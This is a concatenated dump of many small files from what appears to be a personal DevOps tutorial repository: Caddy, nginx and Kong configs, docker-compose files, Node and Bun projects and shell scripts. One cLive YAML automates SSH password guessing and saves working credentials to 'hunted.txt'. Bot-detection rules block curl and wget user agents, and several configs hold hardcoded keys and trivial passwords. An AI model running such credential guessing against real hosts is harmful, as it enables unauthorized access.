21 | respond "Welcome to yourdomain.com" 200
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/nginx/nginx-self-ssl/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | echo-server:
4 | image: ealen/echo-server:latest
5 | container_name: echo-server
6 | environment:
7 | - ENABLE__ENVIRONMENT=false
8 | ports:
9 | - 8080:80
10 | restart: always
11 |
12 | nginx-proxy:
13 | image: nginx:1.18.0
14 | container_name: nginx-proxy
15 | restart: always
16 | ports:
17 | - "80:80"
18 | - "443:443"
19 | volumes:
20 | - ./conf.d/:/etc/nginx/conf.d/:ro
21 | - ./certs:/etc/certs:ro
22 |
--------------------------------------------------------------------------------
/caddy/custom_error_pages/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 | root * /html
7 |
8 | handle_errors 404 {
9 | rewrite * /404.html
10 | file_server
11 | }
12 |
13 | handle_errors 5xx {
14 | rewrite * /5xx.html
15 | file_server
16 | }
17 |
18 | handle_errors {
19 | respond "It's another error"
20 | }
21 |
22 | error /private* "Unauthorized" 403
23 | error /hidden* "Not found" 404
24 |
25 | handle /api/* {
26 | reverse_proxy backend:80
27 | }
28 |
29 | }
30 |
--------------------------------------------------------------------------------
/nodejs/node-shell-exec/api/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "nodejs-shell-exec-app",
3 | "version": "1.0.0",
4 | "description": "nodejs basic web app which is a portal for shell command execs",
5 | "main": "api-exec.js",
6 | "scripts": {
7 | "start": "nodemon api-exec",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [],
11 | "author": "sinawic9@gmail.com",
12 | "license": "ISC",
13 | "dependencies": {
14 | "express": "^4.18.2"
15 | },
16 | "devDependencies": {
17 | "nodemon": "^2.0.20"
18 | }
19 | }
--------------------------------------------------------------------------------
/qdrant/standalone/nodejs/index.js:
--------------------------------------------------------------------------------
1 | import { QdrantClient } from '@qdrant/js-client-rest';
2 |
3 | process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = '0'
4 |
5 | const client = new QdrantClient({
6 | url: 'https://127.0.0.1:6333',
7 | apiKey: 'sdlVp9fPBtj5ukN5hMYLBjaq5sw6QMhF'
8 | });
9 |
10 | try {
11 | const result = await client.getCollections();
12 | console.log('List of collections:', result.collections);
13 | // await client.api('collections').getCollections();
14 | } catch (err) {
15 | console.error('Could not get collections:', err);
16 | }
17 |
18 |
--------------------------------------------------------------------------------
/kong/request-transformer/config/kong.yml:
--------------------------------------------------------------------------------
1 | _format_version: "2.1"
2 |
3 | services:
4 | - name: echo-server
5 | url: http://backend
6 | routes:
7 | - name: echo
8 | paths:
9 | - /echo
10 |
11 | # plugins section
12 | plugins:
13 | - name: request-transformer
14 | config:
15 | remove:
16 | headers:
17 | - x-toremove
18 | querystring:
19 | - q-toremove
20 | add:
21 | headers:
22 | - x-new-header:x-new-header
23 | querystring:
24 | - new-param:new-param
25 |
--------------------------------------------------------------------------------
/nginx-vs-openresty/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | services:
4 | openresty-proxy:
5 | image: openresty/openresty:bullseye-fat
6 | container_name: openresty-proxy
7 | restart: always
8 | ports:
9 | - "8888:80"
10 | environment:
11 | - TZ="Europe/Moscow"
12 | volumes:
13 | - ./conf.d-openresty:/etc/nginx/conf.d
14 | - ./front:/var/www/front
15 | nginx:
16 | image: nginx:1.25.0
17 | volumes:
18 | - ./conf.d-nginx:/etc/nginx/conf.d
19 | - ./front:/var/www/front
20 | ports:
21 | - 8000:80
22 |
--------------------------------------------------------------------------------
/nodejs/node-proxy/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const { createProxyMiddleware } = require('http-proxy-middleware');
3 |
4 | const app = express();
5 |
6 | const preFetch = (req, res, next) => {
7 | if (req.headers.authorization)
8 | console.log('authorization exists')
9 | else
10 | console.log('authorization does not exist')
11 | next()
12 | }
13 |
14 | app.use('/api', preFetch, createProxyMiddleware({
15 | target: 'http://localhost:6969', changeOrigin: true, pathRewrite: {
16 | '^/api/': '/'
17 | }
18 | }));
19 | app.listen(3000);
--------------------------------------------------------------------------------
/random-proj/weather-map/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/caddy/bot_detection/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Caddy bot detection
4 |
5 | - Site Block (example.com): Replace example.com with your actual domain.
6 | - Request Matcher (@blockBots): This matcher checks if the User-Agent header contains curl or wget. You can expand this list to include other bots if necessary.
7 | - Response Action: The line respond @blockBots "Access Denied" 403 will respond with a 403 Forbidden status and the message "Access Denied" whenever a request matches the @blockBots criteria.
8 | - Site Configuration: The root and file_server directives serve your website as usual.
9 |
--------------------------------------------------------------------------------
/mysql/mysql-myadmin-docker-compose/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.3"
2 |
3 | services:
4 | db:
5 | image: mysql:5.7
6 | volumes:
7 | - ./db_data:/var/lib/mysql
8 | restart: always
9 | environment:
10 | MYSQL_ROOT_PASSWORD: password
11 | MYSQL_DATABASE: db
12 | MYSQL_PASSWORD: password
13 |
14 | phpmyadmin:
15 | depends_on:
16 | - db
17 | image: phpmyadmin/phpmyadmin
18 | restart: always
19 | ports:
20 | - "8090:80"
21 | environment:
22 | PMA_HOST: db
23 | MYSQL_ROOT_PASSWORD: password
24 |
25 |
--------------------------------------------------------------------------------
/nginx/bot-detection/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream app{
3 | server 192.168.43.252:6969;
4 | }
5 |
6 | server{
7 | listen 9999;
8 | location / {
9 | default_type application/json;
10 | if ($http_user_agent ~* (curl|netcrawl|npbot|malicious)) {
11 | # return 403;
12 | return 200 '{"code":"1", "message": "Not Found"}';
13 | }
14 | if ($http_user_agent ~* (postman)) {
15 | return 200 '{"code":"2", "message": "Not Found"}';
16 | }
17 | proxy_pass http://app/;
18 | }
19 | }
20 | }
21 |
22 | events{}
23 |
--------------------------------------------------------------------------------
/kong/2023/config/kong.yml:
--------------------------------------------------------------------------------
1 | _format_version: "2.1"
2 |
3 | services:
4 |
5 | - name: echo-server
6 | url: http://192.168.1.11:6969
7 | routes:
8 | - name: echo
9 | paths:
10 | - /echo
11 |
12 | # plugins section
13 | plugins:
14 | - name: correlation-id
15 | config:
16 | header_name: Request-ID
17 | generator: tracker
18 | echo_downstream: false
19 | - name: prometheus
20 | config:
21 | status_code_metrics: true
22 | latency_metrics: true
23 | bandwidth_metrics: true
24 | upstream_health_metrics: true
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/caddy/cors/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/caddy/basic_auth/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/caddy/forward_auth/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/linux/c-nodejs-communication/index.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs')
2 | const path = require('path')
3 |
4 | const jsonFile = path.join(__dirname, 'output.json')
5 | let jsonData = {}
6 |
7 | const readJSONFile = async (file) => {
8 | fs.readFile(file, 'utf-8', function (err, data) {
9 | if (err) return console.log(err)
10 |
11 | jsonData = JSON.parse(data)
12 | console.log(jsonData)
13 | })
14 | }
15 |
16 | fs.watchFile(jsonFile, function (a, b) {
17 | console.log('file changed')
18 | readJSONFile(jsonFile)
19 | })
20 |
21 | readJSONFile(jsonFile)
--------------------------------------------------------------------------------
/caddy/header_transformer/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/qdrant/standalone/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | qdrant:
4 | image: qdrant/qdrant:v1.13.4
5 | restart: always
6 | container_name: qdrant
7 | ports:
8 | - 6333:6333
9 | - 6334:6334
10 | expose:
11 | - 6333
12 | - 6334
13 | - 6335
14 | volumes:
15 | - ./data:/qdrant/storage
16 | - ./certs:/certs
17 | environment:
18 | - QDRANT__SERVICE__API_KEY=sdlVp9fPBtj5ukN5hMYLBjaq5sw6QMhF
19 | - QDRANT__SERVICE__ENABLE_TLS=1
20 | - QDRANT__TLS__CERT=/certs/pc.com.pem
21 | - QDRANT__TLS__KEY=/certs/pc.com-key.pem
22 |
--------------------------------------------------------------------------------
/linux/bash/rel-op.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | a="10"
4 | b="20"
5 |
6 | if [ $a -eq $b ]
7 | then
8 | echo "true"
9 | else
10 | echo "false"
11 | fi
12 |
13 | if [ $a -ne $b ]
14 | then
15 | echo "true"
16 | else
17 | echo "false"
18 | fi
19 |
20 | if [ $a -gt $b ]
21 | then
22 | echo "true"
23 | else
24 | echo "false"
25 | fi
26 |
27 | if [ $a -lt $b ]
28 | then
29 | echo "true"
30 | else
31 | echo "false"
32 | fi
33 |
34 | if [ $a -ge $b ]
35 | then
36 | echo "true"
37 | else
38 | echo "false"
39 | fi
40 |
41 | if [ $a -le $b ]
42 | then
43 | echo "true"
44 | else
45 | echo "false"
46 | fi
47 |
--------------------------------------------------------------------------------
/caddy/rate_limiter/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: sinawic/caddy:2.8.4-ratelimit
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/caddy/request_id/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: sinawic/caddy:2.8.4-request_id
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/minio/single-node-multi-drive/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://min.io/docs/minio/container/operations/install-deploy-manage/deploy-minio-single-node-multi-drive.html
2 |
3 | version: '3'
4 |
5 | services:
6 | minio:
7 | image: minio/minio:RELEASE.2023-06-29T05-12-28Z
8 | ports:
9 | - "9000:9000"
10 | - "9001:9001"
11 | volumes:
12 | - ./data-1:/data-1
13 | - ./data-2:/data-2
14 | - ./data-3:/data-3
15 | - ./.env:/etc/config.env
16 | environment:
17 | - MINIO_CONFIG_ENV_FILE=/etc/config.env
18 | command: server --console-address ":9001"
19 | restart: always
20 |
--------------------------------------------------------------------------------
/nginx/geoip/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://github.com/observabilitystack/geoip-api/tree/master/examples/nginx-geoip
2 | # https://dev.maxmind.com/geoip/geolite2-free-geolocation-data
3 | # curl -sI -H "X-Geoip-Address: 185.123.1.2" "http://localhost:8081/"
4 | # curl -sI -H "X-Forwarded-For: 185.123.1.2" "http://localhost:9999/"
5 |
6 | version: '3'
7 | services:
8 | nginx:
9 | image: nginx:1.21-alpine
10 | volumes:
11 | - "./nginx.conf:/etc/nginx/nginx.conf"
12 | ports:
13 | - 9999:9999
14 |
15 | geoip:
16 | image: ghcr.io/observabilitystack/geoip-api
17 | ports:
18 | - 8081:8080
19 |
--------------------------------------------------------------------------------
/caddy/apikey_auth/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | - API_KEY=key
18 | ports:
19 | - 80:80
20 | - 443:443
21 | volumes:
22 | - ./CaddyFile:/etc/caddy/Caddyfile
23 | - ./data:/data
24 | - ./config:/config
25 |
--------------------------------------------------------------------------------
/caddy/basic/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 | - ./static:/static
25 |
--------------------------------------------------------------------------------
/caddy/custom_logs/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 | - ./logs:/logs
25 |
--------------------------------------------------------------------------------
/bun/app/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "lib": ["ESNext"],
4 | "module": "esnext",
5 | "target": "esnext",
6 | "moduleResolution": "bundler",
7 | "moduleDetection": "force",
8 | "allowImportingTsExtensions": true,
9 | "noEmit": true,
10 | "composite": true,
11 | "strict": true,
12 | "downlevelIteration": true,
13 | "skipLibCheck": true,
14 | "jsx": "preserve",
15 | "allowSyntheticDefaultImports": true,
16 | "forceConsistentCasingInFileNames": true,
17 | "allowJs": true,
18 | "types": [
19 | "bun-types" // add Bun global
20 | ]
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/caddy/bot_detection/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 | - ./static:/static
25 |
--------------------------------------------------------------------------------
/caddy/header_transformer/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | handle_path /api/* {
8 |
9 | header Server "new-server"
10 |
11 | reverse_proxy backend:80 {
12 | header_up proxy-added-up "up"
13 | header_up -client-header
14 | header_up client-header-persistant "new-value"
15 |
16 | header_down proxy-added-down "down"
17 | header_down -proxy-added-up
18 | }
19 | }
20 |
21 | # Default response for all other requests
22 | handle {
23 | respond "Welcome to yourdomain.com" 200
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/caddy/replace_response/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: sinawic/caddy:2.8.4-replace_response
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 |
--------------------------------------------------------------------------------
/bun/next/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "version": "0.1.0",
4 | "private": true,
5 | "scripts": {
6 | "dev": "next dev",
7 | "build": "next build",
8 | "start": "next start",
9 | "lint": "next lint"
10 | },
11 | "dependencies": {
12 | "react": "19.0.0-rc-02c0e824-20241028",
13 | "react-dom": "19.0.0-rc-02c0e824-20241028",
14 | "next": "15.0.2"
15 | },
16 | "devDependencies": {
17 | "typescript": "^5",
18 | "@types/node": "^20",
19 | "@types/react": "^18",
20 | "@types/react-dom": "^18",
21 | "eslint": "^8",
22 | "eslint-config-next": "15.0.2"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/bun/socket/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "lib": ["ESNext"],
4 | "module": "esnext",
5 | "target": "esnext",
6 | "moduleResolution": "bundler",
7 | "moduleDetection": "force",
8 | "allowImportingTsExtensions": true,
9 | "noEmit": true,
10 | "composite": true,
11 | "strict": true,
12 | "downlevelIteration": true,
13 | "skipLibCheck": true,
14 | "jsx": "preserve",
15 | "allowSyntheticDefaultImports": true,
16 | "forceConsistentCasingInFileNames": true,
17 | "allowJs": true,
18 | "types": [
19 | "bun-types" // add Bun global
20 | ]
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/caddy/cache/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | cache {
4 | allowed_http_verbs GET POST PATCH
5 | stale 200s
6 | ttl 20s
7 | }
8 | }
9 |
10 | :80, :443 {
11 |
12 | cache {
13 | redis {
14 | url redis:6379
15 | }
16 | key {
17 | headers User-Agent ApiKey Authorization
18 | }
19 | }
20 |
21 | # Handle requests to /api/*
22 | handle /api/* {
23 |
24 | reverse_proxy backend:80
25 | }
26 |
27 | # Default response for all other requests
28 | handle {
29 | respond "Welcome to yourdomain.com" 200
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/caddy/ip_restriction/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 | - ./static:/static
25 |
--------------------------------------------------------------------------------
/dockerize/react/public/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "short_name": "React App",
3 | "name": "Create React App Sample",
4 | "icons": [
5 | {
6 | "src": "favicon.ico",
7 | "sizes": "64x64 32x32 24x24 16x16",
8 | "type": "image/x-icon"
9 | },
10 | {
11 | "src": "logo192.png",
12 | "type": "image/png",
13 | "sizes": "192x192"
14 | },
15 | {
16 | "src": "logo512.png",
17 | "type": "image/png",
18 | "sizes": "512x512"
19 | }
20 | ],
21 | "start_url": ".",
22 | "display": "standalone",
23 | "theme_color": "#000000",
24 | "background_color": "#ffffff"
25 | }
26 |
--------------------------------------------------------------------------------
/ssh-bruteforce/clive/clive-sample.yml:
--------------------------------------------------------------------------------
1 | settings:
2 | loginCommand: ["bash", "--login"]
3 | fontSize: 22
4 | defaultSpeed: 10
5 | headless: true
6 | skipPauseBeforeQuit: true
7 |
8 | actions:
9 | - type: echo 'Welcome to cLive!'
10 | - key: enter
11 | - type: echo "attempting ${USERNAME}:${PASSWORD}"
12 | - key: enter
13 | - type: ssh ${USERNAME}@${HOST} ls
14 | - key: enter
15 | - key: backspace
16 | count: 32
17 | speed: 100
18 | - type: "${PASSWORD}"
19 | - key: enter
20 | speed: 1000
21 | - type: if [ $? -eq 0 ]; then echo "${USERNAME}:${PASSWORD}@${HOST}" > hunted.txt; fi
22 | - key: enter
23 |
--------------------------------------------------------------------------------
/bun/file-server/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "lib": ["ESNext"],
4 | "module": "esnext",
5 | "target": "esnext",
6 | "moduleResolution": "bundler",
7 | "moduleDetection": "force",
8 | "allowImportingTsExtensions": true,
9 | "noEmit": true,
10 | "composite": true,
11 | "strict": true,
12 | "downlevelIteration": true,
13 | "skipLibCheck": true,
14 | "jsx": "preserve",
15 | "allowSyntheticDefaultImports": true,
16 | "forceConsistentCasingInFileNames": true,
17 | "allowJs": true,
18 | "types": [
19 | "bun-types" // add Bun global
20 | ]
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/clive/clive.yml:
--------------------------------------------------------------------------------
1 | # documentation: https://github.com/koki-develop/clive#settings
2 | settings:
3 | loginCommand: ["bash", "--login"]
4 | fontSize: 22
5 | defaultSpeed: 100
6 | headless: true
7 | skipPauseBeforeQuit: true
8 | screenshotsDir: /home/sina-wic/4yt/clive
9 |
10 | # documentation: https://github.com/koki-develop/clive#actions
11 | actions:
12 | # - pause
13 | - type: echo 'Welcome to cLive!'
14 | - key: enter
15 | - key: enter
16 | count: 10 # Optional
17 | speed: 100 # Optional
18 | - type: touch hi
19 | - key: enter
20 | - type: echo 'haha' > hi
21 | - key: enter
22 | - screenshot: foobar.png
23 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/public/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "short_name": "React App",
3 | "name": "Create React App Sample",
4 | "icons": [
5 | {
6 | "src": "favicon.ico",
7 | "sizes": "64x64 32x32 24x24 16x16",
8 | "type": "image/x-icon"
9 | },
10 | {
11 | "src": "logo192.png",
12 | "type": "image/png",
13 | "sizes": "192x192"
14 | },
15 | {
16 | "src": "logo512.png",
17 | "type": "image/png",
18 | "sizes": "512x512"
19 | }
20 | ],
21 | "start_url": ".",
22 | "display": "standalone",
23 | "theme_color": "#000000",
24 | "background_color": "#ffffff"
25 | }
26 |
--------------------------------------------------------------------------------
/caddy/custom_ssl/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/tls
4 |
5 | mkdir -p config data certs
6 |
7 | cd certs
8 |
9 | DOMAIN=pc
10 | openssl genpkey -algorithm RSA -out $DOMAIN.key
11 | openssl req -new -key $DOMAIN.key -out $DOMAIN.csr -subj "/CN=$DOMAIN"
12 | openssl req -x509 -in $DOMAIN.csr -key $DOMAIN.key -out $DOMAIN.crt -days 3650
13 |
14 | DOMAIN=sinawic
15 | openssl genpkey -algorithm RSA -out $DOMAIN.key
16 | openssl req -new -key $DOMAIN.key -out $DOMAIN.csr -subj "/CN=$DOMAIN"
17 | openssl req -x509 -in $DOMAIN.csr -key $DOMAIN.key -out $DOMAIN.crt -days 3650
18 |
--------------------------------------------------------------------------------
/nginx/load-balancer-detailed/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | server-1:
4 | image: ealen/echo-server:latest
5 | restart: always
6 | environment:
7 | - ENABLE__ENVIRONMENT=false
8 |
9 | server-2:
10 | image: ealen/echo-server:latest
11 | restart: always
12 | environment:
13 | - ENABLE__ENVIRONMENT=false
14 |
15 | server-3:
16 | image: ealen/echo-server:latest
17 | restart: always
18 | environment:
19 | - ENABLE__ENVIRONMENT=false
20 |
21 | nginx:
22 | image: nginx
23 | volumes:
24 | - "./nginx.conf:/etc/nginx/nginx.conf"
25 | ports:
26 | - 9999:9999
27 |
--------------------------------------------------------------------------------
/dockerize/react/src/index.tsx:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import ReactDOM from 'react-dom/client';
3 | import './index.css';
4 | import App from './App';
5 | import reportWebVitals from './reportWebVitals';
6 |
7 | const root = ReactDOM.createRoot(
8 | document.getElementById('root') as HTMLElement
9 | );
10 | root.render(
11 |
12 |
13 |
14 | );
15 |
16 | // If you want to start measuring performance in your app, pass a function
17 | // to log results (for example: reportWebVitals(console.log))
18 | // or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
19 | reportWebVitals();
20 |
--------------------------------------------------------------------------------
/nginx/rate-limit/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | geo $limit {
4 | default 1;
5 | 10.0.0.0/8 0;
6 | 192.168.0.0/16 0;
7 | }
8 |
9 | map $limit $limit_key {
10 | 0 "";
11 | 1 $binary_remote_addr;
12 | }
13 |
14 | limit_req_zone $limit_key zone=limit:10m rate=3r/m;
15 | # limit_req_zone $binary_remote_addr zone=limit:10m rate=3r/m;
16 | limit_req_status 429;
17 |
18 | upstream app{
19 | server 192.168.43.252:6969;
20 | }
21 |
22 | server{
23 | listen 9999;
24 | location / {
25 | limit_req zone=limit burst=6 nodelay;
26 |
27 | proxy_pass http://app/;
28 | }
29 | }
30 | }
31 |
32 | events{}
33 |
--------------------------------------------------------------------------------
/scripts/backup-mongodb.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | export CONTAINER_NAME="mongo_mongo-test_1"
4 | export BACKUP_LOCATION="/home/sinawic/4yt/scripts/mongo-backups"
5 | export DATABASE_NAME="test"
6 |
7 | export TIMESTAMP=$(date +'%Y%m%d%H%M%S')
8 |
9 | docker exec -t ${CONTAINER_NAME} mongodump --authenticationDatabase admin --username root --password example --out /data/backup-${TIMESTAMP}
10 | docker cp ${CONTAINER_NAME}:/data/backup-${TIMESTAMP} ${BACKUP_LOCATION}
11 |
12 | cd ${BACKUP_LOCATION}
13 | echo zipping...
14 | zip -r backup-${TIMESTAMP}.zip backup-${TIMESTAMP}
15 | echo scp...
16 | scp -P 2124 `pwd`/backup-${TIMESTAMP}.zip root@3.6.9.369:/root/back
17 |
--------------------------------------------------------------------------------
/bun/next/app/.gitignore:
--------------------------------------------------------------------------------
1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
2 |
3 | # dependencies
4 | /node_modules
5 | /.pnp
6 | .pnp.*
7 | .yarn/*
8 | !.yarn/patches
9 | !.yarn/plugins
10 | !.yarn/releases
11 | !.yarn/versions
12 |
13 | # testing
14 | /coverage
15 |
16 | # next.js
17 | /.next/
18 | /out/
19 |
20 | # production
21 | /build
22 |
23 | # misc
24 | .DS_Store
25 | *.pem
26 |
27 | # debug
28 | npm-debug.log*
29 | yarn-debug.log*
30 | yarn-error.log*
31 |
32 | # env files (can opt-in for commiting if needed)
33 | .env*
34 |
35 | # vercel
36 | .vercel
37 |
38 | # typescript
39 | *.tsbuildinfo
40 | next-env.d.ts
41 |
--------------------------------------------------------------------------------
/caddy/custom_error_pages/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | caddy:
12 | image: caddy:2.8.4
13 | container_name: caddy
14 | restart: unless-stopped
15 | environment:
16 | - TZ=Europe/Berlin
17 | ports:
18 | - 80:80
19 | - 443:443
20 | volumes:
21 | - ./CaddyFile:/etc/caddy/Caddyfile
22 | - ./data:/data
23 | - ./config:/config
24 | - ./html:/html
